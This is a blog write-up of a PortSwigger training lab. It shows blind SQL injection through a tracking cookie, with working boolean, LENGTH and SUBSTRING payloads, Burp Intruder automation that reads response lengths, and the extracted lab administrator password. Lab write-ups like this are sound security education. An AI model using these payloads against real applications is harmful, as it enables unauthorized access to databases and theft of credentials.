← Back to list

Web Security Lab — Blind SQL Injection with Conditional Responses | PortSwigger Practitioner

The previous SQL injection lab gave me everything directly — table names, column names, passwords all visible in the response. This one…

Khushbu · 2026-08-08 09:42 · 0 claps · 5.1 min read
#sql-injection #blind-sql-injection #cybersecurity #ctf-writeup #infosec
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Web Security Lab — Blind SQL Injection with Conditional Responses | PortSwigger Practitioner

The previous SQL injection lab gave me everything directly — table names, column names, passwords all visible in the response. This one gave me nothing.

No error messages. No database output. Just a page that sometimes said “Welcome back!” and sometimes didn’t.

That single boolean signal — present or absent — was the only tool I had to extract a 20-character password from a live database.

This is Blind SQL Injection with Conditional Responses, a Practitioner-level lab from PortSwigger.

The Lab

“The application performs a SQL query containing the value of the submitted cookie. The results are not returned. But the application includes a ‘Welcome back’ message if the query returns any rows.”

The injection point wasn’t in the URL this time. It was in the TrackingId cookie — a value the application sends with every request for analytics purposes.

Objective: extract the administrator’s password and log in.

What is Blind SQL Injection?

In a normal SQLi attack, the database returns data you can read directly in the response. You ask “what’s in the users table?” and it tells you.

Blind SQLi is different. The database still executes your queries — but it never shows you the results. The only feedback you get is a change in application behaviour.

In this lab, that behaviour change was a single line: “Welcome back!”

If my SQL condition was TRUE — Welcome back appeared. If my SQL condition was FALSE — it didn’t.

That’s it. One bit of information per request. And I needed to extract 20 characters.

Step 1 — Confirm the Injection Point

I intercepted the request in Burp and sent it to Repeater. The TrackingId cookie looked like:

TrackingId=xyz

I modified it to test for injection:

TrackingId=xyz' AND '1'='1
TrackingId=xyz' AND '1'='2

First request — Welcome back appeared. Second request — Welcome back disappeared.

The application was evaluating my SQL condition. Blind injection confirmed.

Step 2 — Confirm Administrator Exists

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a'--

Welcome back appeared. The administrator account exists in the users table.

Step 3 — Find the Password Length

TrackingId=xyz' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=20--

Welcome back appeared. Password is exactly 20 characters long.

Step 4 — Extract the First Character Manually

This is where I did something deliberate — before automating anything, I manually tried individual characters for position 1 using SUBSTRING:

TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a'--

I went through the alphabet one by one in Repeater, watching for Welcome back to appear. When I hit ‘g’ — it appeared.

First character confirmed: g

I did this manually first because I wanted to understand exactly what was happening before letting Intruder run automatically. Once I knew the technique worked and what the signal looked like, I was ready to automate.

Step 5 — Automate with Intruder

I sent the request to Intruder and set the payload position on the character being tested:

TrackingId=xyz' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='§a§'--

Payload: simple list of a-z and 0–9 (36 characters total).

Ran the attack. In the Results tab I watched the Length column — every wrong character returned 5504 bytes. The correct character returned 5565 bytes — because the Welcome back message added extra content to the page.

Found character 1: g (confirmed my manual result)

I then moved to position 2, changing the SUBSTRING index:

SUBSTRING(...,2,1)='§a§'

Ran again. Found character 2: 1

Repeated this process for all 20 positions.

The Full Password

Running Intruder 20 times, one position at a time, extracting one character per run:

Position  1: g  (length 5565 at payload 'g')
Position  2: 1
Position  3: z  (length 5565 at payload 'z')
Position  4: h
...continuing through all 20 positions...

Final password: g1zhk41xtbs1g4eczk8u

Step 6 — Log In

Took the credentials to the login page:

Username: administrator
Password: g1zhk41xtbs1g4eczk8u

Lab solved.

What I Actually Learned

1. Blind SQLi requires a completely different mindset. In a normal SQLi attack you read data. In blind SQLi you ask questions and read behaviour. The database is still talking to you — just in a different language.

2. One bit of information per request adds up. 20 characters × 36 possible values = 720 requests to extract a password. Automated tools make this feasible. Without Intruder this would have taken hours manually.

3. Doing the first step manually was worth it. I manually found the first character before using Intruder. That decision meant I understood exactly what the length difference signalled before automating. When you automate something you don’t understand, you can’t tell if the results are right or wrong.

4. Cookies are attack surfaces too. The injection wasn’t in the URL or a form field — it was in a tracking cookie most people never think about. Every value the application processes from user input is a potential injection point.

5. The “Welcome back” signal is tiny but enough. A 61-byte difference in response length. One message appearing or not appearing. That’s all blind SQLi needs. Application developers who think “there’s no data returned so it’s safe” are wrong — behaviour itself leaks information.

Tools Used

Burp Suite Repeater — manually testing injection conditions and finding the first character

Burp Suite Intruder — automating character extraction across all 20 positions with a-z + 0–9 payload

The Attack Chain

AND '1'='1 → Welcome back ✓  |  AND '1'='2 → no Welcome back
→ Blind injection confirmed
AND (SELECT 'a' FROM users WHERE username='administrator')='a'
→ Welcome back ✓ → administrator exists
AND LENGTH(password)=20 → Welcome back ✓ → password is 20 chars
SUBSTRING(password,1,1)='g' → Welcome back ✓ → first char is 'g'
→ Manual confirmation, then Intruder for positions 2-20
Password: g1zhk41xtbs1g4eczk8u
Login as administrator → Lab solved

Follow this blog for weekly writeups — CTF challenges and web security labs.

GitHub: github.com/CipherCoded-Dev


메타데이터
post_id
c3fa1ef118b7
slug
web-security-lab-blind-sql-injection-with-conditional-responses-portswigger-practitioner-c3fa1ef118b7
url
https://medium.com/@khushbuchandra2161/web-security-lab-blind-sql-injection-with-conditional-responses-portswigger-practitioner-c3fa1ef118b7
canonical_url
https://medium.com/@khushbuchandra2161/web-security-lab-blind-sql-injection-with-conditional-responses-portswigger-practitioner-c3fa1ef118b7
author_url
https://medium.com/@khushbuchandra2161
status
ok
fetched_at
2026-08-09 09:46:21